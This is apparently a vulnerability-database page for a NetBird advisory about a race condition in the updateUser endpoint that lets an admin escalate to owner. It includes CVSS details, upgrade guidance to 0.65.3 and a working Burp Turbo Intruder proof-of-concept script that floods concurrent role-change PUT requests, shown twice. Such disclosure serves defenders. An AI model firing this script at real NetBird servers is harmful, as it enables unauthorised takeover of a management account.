GHSA-rxmp-8h9v-56cx: Github.com/netbirdio/netbird NetBird Has Race Condition On Vulnerability

MODERATE
CVSS 4.4
CWE-362
Published
Advisory Summary

GHSA-rxmp-8h9v-56cx is a MODERATE (CVSS 4.4) netbird has race condition on vulnerability (CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')) affecting Github.com/netbirdio/netbird libraries in the Go ecosystem. The issue involves netbird has race condition on updateuser function, resulting in privilege escalation from admin to owner. Remediation is available by upgrading affected packages to version 0.65.3.

GHSA-rxmp-8h9v-56cx at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-rxmp-8h9v-56cx
Severity MODERATE
CVSS v3.1 Base Score 4.4
CWE Classification CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')
Affected Product Github.com/netbirdio/netbird
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 4.4

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:N/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity High (AC:H)
Privileges Required High (PR:H)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity High (I:H)
Availability None (A:N)

How to Fix GHSA-rxmp-8h9v-56cx

To remediate this vulnerability, upgrade all affected Github.com/netbirdio/netbird dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/netbirdio/netbird fixed: 0.65.3
Upgrade github.com/netbirdio/netbird to 0.65.3
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/netbirdio/netbird

How to Check if You Are Affected

To determine whether your application is affected by GHSA-rxmp-8h9v-56cx, inspect your project dependencies for Github.com/netbirdio/netbird:

inspect dependencies for github.com/netbirdio/netbird

Analyze the terminal output to locate any version of Github.com/netbirdio/netbird in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.65.3), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition'), where the product contains a concurrent code sequence that requires temporary, exclusive access to a shared resource, but a timing window exists in which the shared resource can be modified by another code sequence operating concurrently. In Github.com/netbirdio/netbird, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary A race condition vulnerability allows authenticated admin-privileged users to escalate to owner privilege. ## Details The vulnerability exists in the `updateUser` function, which is connected to the `/users/{userId}` PUT request. This function then calls the `SaveOrAddUsers` function, which checks the user's permissions on two separate occasions. The first check verifies whether the initiator is an admin or owner and rejects the request if the initiator is not. The second check retrieves the user role details from the database again and saves them in a variable called `initiatorUser`. ### `SaveOrAddUsers` Function **Location:** `netbird/management/server/user.go` — Line 556 ![SaveOrAddUsers function code showing the two separate permission checks](https://github.com/user-attachments/assets/821e79a2-ad3e-45d7-a952-daf5422c1801) Afterwards, the `validateUserUpdate` function is called, which checks if the initiator has permission to update that specific user's role. This validation is lacking, as it assumes the initiator is an admin or owner. In the case that the initiator is a regular user, these conditions do not apply, and the target can be updated to owner even when the initiator holds only a user role. ### `validateUserUpdate` Function **Location:** `netbird/management/server/user.go` — Line 862 ![validateUserUpdate function code showing the insufficient permission validation logic](https://github.com/user-attachments/assets/a7e7f2df-ee4c-45b4-9b4d-c71c605dbaaa) In summary, if the initiator's permission is **admin** at the first check and gets dropped to **user** at the second check, the initiator can update a user to **owner**. ## Proof of Concept It is possible to create the following attack: The initiator (`old_admin`) creates two different accounts — one with a **user** role and another with an **admin** role. These will be referred to as `new_user` and `new_admin` from here on. Two different requests are needed: 1. **Request 1** — Using `new_admin`'s JWT, a request is created that changes `old_admin`'s role to **user**. 2. **Request 2** — Using `old_admin`'s JWT, a request is created that changes `new_user`'s role to **owner**. Both requests need valid user IDs and `auto_groups` group IDs. They should be sent simultaneously without waiting for prior requests to return. There is a very small time gap between the first and second permission checks, so multiple tries and multiple copies of the requests may be needed. During a penetration test engagement, privilege escalation was achieved by using **5 copies of Request 1** and **100 copies of Request 2** without waiting for any request to complete. The request that updated the role to owner returned **500** status codes instead of **403**, which when retried returned **200** and successfully applied the update. The following Burp Suite race condition script was used. Note that it may still require multiple tries, and the `old_admin` account role must be reset to **admin** after every failed attempt. ```python import time def queueRequests(target, wordlists): engine = RequestEngine( endpoint=target.endpoint, concurrentConnections=100, requestsPerConnection=100, pipeline=False ) # Request 1 req1 = """PUT /api/users/{OLD_ADMIN_USERID} HTTP/2 Host: CHANGE_WITH_HOST User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:147.0) Gecko/20100101 Firefox/147.0 Accept: application/json Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7 Accept-Encoding: gzip, deflate, br Content-Type: application/json Authorization: Bearer {NEW_ADMIN_TOKEN} Content-Length: 73 Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Priority: u=0 Te: trailers {"role":"user","auto_groups":[GROUP_ID],"is_blocked":false}""" # Request 2 req2 = """PUT /api/users/{NEW_USER_USERID} HTTP/2 Host: CHANGE_WITH_HOST User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:147.0) Gecko/20100101 Firefox/147.0 Accept: application/json Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7 Accept-Encoding: gzip, deflate, br Content-Type: application/json Authorization: Bearer {OLD_ADMIN_TOKEN} Content-Length: 52 Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Priority: u=0 Te: trailers {"role":"owner","auto_groups":[],"is_blocked":false}""" # Send first request engine.queue(req1) engine.queue(req1) engine.queue(req1) engine.queue(req1) engine.queue(req1) # Send second request for i in range(100): engine.queue(req2) def handleResponse(req, interesting): table.add(req) ``` ## Impact An attacker with an admin account on the self-hosted NetBird management application **v0.65.2 or lower** can escalate to owner privileges.

GHSA-rxmp-8h9v-56cx Affected Github.com/netbirdio/netbird Versions

1 component(s)
Fixed Versions:
0.65.3
Product / Package Ecosystem Affected Versions Fixed Version
github.com/netbirdio/netbird
Go
< 0.65.3
0.65.3

References

Frequently Asked Questions

What is GHSA-rxmp-8h9v-56cx?
GHSA-rxmp-8h9v-56cx is a security vulnerability in Github.com/netbirdio/netbird involving NetBird has Race Condition on UpdateUser Function, Resulting in Privilege Escalation From Admin to Owner under CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition').
Which Github.com/netbirdio/netbird versions are affected?
Affected versions include releases prior to 0.65.3 across affected packages: github.com/netbirdio/netbird.
What version fixes GHSA-rxmp-8h9v-56cx?
Upgrading to 0.65.3 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/netbirdio/netbird affected?
Yes, github.com/netbirdio/netbird is affected in releases prior to 0.65.3. Upgrade your dependency to 0.65.3 or later.
What is the CVSS score of GHSA-rxmp-8h9v-56cx?
GHSA-rxmp-8h9v-56cx has a CVSS v3.1 base score of 4.4 (MODERATE) with vector string CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:N/I:H/A:N.
What CWE is associated with GHSA-rxmp-8h9v-56cx?
GHSA-rxmp-8h9v-56cx is classified under CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition') (The product contains a concurrent code sequence that requires temporary, exclusive access to a shared resource, but a timing window exists in which the shared resource can be modified by another code sequence operating concurrently.).
How can I check Go dependencies for GHSA-rxmp-8h9v-56cx?
Run the dependency tree command: 'inspect dependencies for github.com/netbirdio/netbird'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-rxmp-8h9v-56cx",
  "modified" : "2026-04-01T21:03:00Z",
  "published" : "2026-04-01T21:03:00Z",
  "aliases" : [ ],
  "summary" : "NetBird has Race Condition on UpdateUser Function, Resulting in Privilege Escalation From Admin to Owner",
  "details" : "## Summary\n\nA race condition vulnerability allows authenticated admin-privileged users to escalate to owner privilege.\n\n## Details\n\nThe vulnerability exists in the `updateUser` function, which is connected to the `/users/{userId}` PUT request. This function then calls the `SaveOrAddUsers` function, which checks the user's permissions on two separate occasions. The first check verifies whether the initiator is an admin or owner and rejects the request if the initiator is not. The second check retrieves the user role details from the database again and saves them in a variable called `initiatorUser`.\n\n### `SaveOrAddUsers` Function\n\n**Location:** `netbird/management/server/user.go` — Line 556\n\n![SaveOrAddUsers function code showing the two separate permission checks](https://github.com/user-attachments/assets/821e79a2-ad3e-45d7-a952-daf5422c1801)\n\nAfterwards, the `validateUserUpdate` function is called, which checks if the initiator has permission to update that specific user's role. This validation is lacking, as it assumes the initiator is an admin or owner. In the case that the initiator is a regular user, these conditions do not apply, and the target can be updated to owner even when the initiator holds only a user role.\n\n### `validateUserUpdate` Function\n\n**Location:** `netbird/management/server/user.go` — Line 862\n\n![validateUserUpdate function code showing the insufficient permission validation logic](https://github.com/user-attachments/assets/a7e7f2df-ee4c-45b4-9b4d-c71c605dbaaa)\n\nIn summary, if the initiator's permission is **admin** at the first check and gets dropped to **user** at the second check, the initiator can update a user to **owner**.\n\n## Proof of Concept\n\nIt is possible to create the following attack:\n\nThe initiator (`old_admin`) creates two different accounts — one with a **user** role and another with an **admin** role. These will be referred to as `new_user` and `new_admin` from here on.\n\nTwo different requests are needed:\n\n1. **Request 1** — Using `new_admin`'s JWT, a request is created that changes `old_admin`'s role to **user**.\n2. **Request 2** — Using `old_admin`'s JWT, a request is created that changes `new_user`'s role to **owner**.\n\nBoth requests need valid user IDs and `auto_groups` group IDs. They should be sent simultaneously without waiting for prior requests to return.\n\nThere is a very small time gap between the first and second permission checks, so multiple tries and multiple copies of the requests may be needed. During a penetration test engagement, privilege escalation was achieved by using **5 copies of Request 1** and **100 copies of Request 2** without waiting for any request to complete. The request that updated the role to owner returned **500** status codes instead of **403**, which when retried returned **200** and successfully applied the update.\n\nThe following Burp Suite race condition script was used. Note that it may still require multiple tries, and the `old_admin` account role must be reset to **admin** after every failed attempt.\n\n```python\nimport time\n\ndef queueRequests(target, wordlists):\n\n    engine = RequestEngine(\n        endpoint=target.endpoint,\n        concurrentConnections=100,\n        requestsPerConnection=100,\n        pipeline=False\n    )\n\n    # Request 1\n    req1 = \"\"\"PUT /api/users/{OLD_ADMIN_USERID} HTTP/2\nHost: CHANGE_WITH_HOST\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:147.0) Gecko/20100101 Firefox/147.0\nAccept: application/json\nAccept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7\nAccept-Encoding: gzip, deflate, br\nContent-Type: application/json\nAuthorization: Bearer {NEW_ADMIN_TOKEN}\nContent-Length: 73\nSec-Fetch-Dest: empty\nSec-Fetch-Mode: cors\nSec-Fetch-Site: same-origin\nPriority: u=0\nTe: trailers\n\n{\"role\":\"user\",\"auto_groups\":[GROUP_ID],\"is_blocked\":false}\"\"\"\n\n    # Request 2\n    req2 = \"\"\"PUT /api/users/{NEW_USER_USERID} HTTP/2\nHost: CHANGE_WITH_HOST\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:147.0) Gecko/20100101 Firefox/147.0\nAccept: application/json\nAccept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7\nAccept-Encoding: gzip, deflate, br\nContent-Type: application/json\nAuthorization: Bearer {OLD_ADMIN_TOKEN}\nContent-Length: 52\nSec-Fetch-Dest: empty\nSec-Fetch-Mode: cors\nSec-Fetch-Site: same-origin\nPriority: u=0\nTe: trailers\n\n{\"role\":\"owner\",\"auto_groups\":[],\"is_blocked\":false}\"\"\"\n\n    # Send first request\n    engine.queue(req1)\n    engine.queue(req1)\n    engine.queue(req1)\n    engine.queue(req1)\n    engine.queue(req1)\n\n    # Send second request\n    for i in range(100):\n        engine.queue(req2)\n\n\ndef handleResponse(req, interesting):\n    table.add(req)\n```\n\n## Impact\n\nAn attacker with an admin account on the self-hosted NetBird management application **v0.65.2 or lower** can escalate to owner privileges.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:N/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/netbirdio/netbird"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.65.3"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 0.65.2"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/netbirdio/netbird/security/advisories/GHSA-rxmp-8h9v-56cx"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/netbirdio/netbird"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-362" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-01T21:03:00Z",
    "nvd_published_at" : null
  }
}